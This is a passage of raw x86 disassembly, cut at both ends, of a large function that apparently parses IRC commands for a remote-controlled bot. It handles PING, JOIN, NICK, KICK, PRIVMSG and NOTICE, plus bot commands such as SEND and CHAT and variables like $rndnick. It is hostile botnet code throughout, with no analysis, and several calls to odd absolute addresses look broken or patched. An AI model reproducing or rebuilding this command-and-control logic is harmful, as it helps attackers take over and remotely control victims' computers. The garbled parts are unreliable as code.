= byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42CA38 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42CA34 ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42CA30 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42C9C4 push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42C970 loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C94C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42C938 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42C930 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42C8F4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h call near ptr 2660000h nop jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42C8F0 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42C8E4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CAE28 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42C8C8 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42C8C0 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42C8A8 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j nop call near ptr 2660882h push eax push offset unk_42C86C jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42C828 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C800 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx call near ptr 266006Bh nop mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h nop call near ptr 2660000h jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj nop call near ptr 2660882h push eax push offset unk_42C7C8 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42C798 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42C764 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42C938 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_429230, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D130 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_429230 jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42CA38 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D148[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D130[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42C720 ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 lea eax, [ebp+var_4AF0] push offset 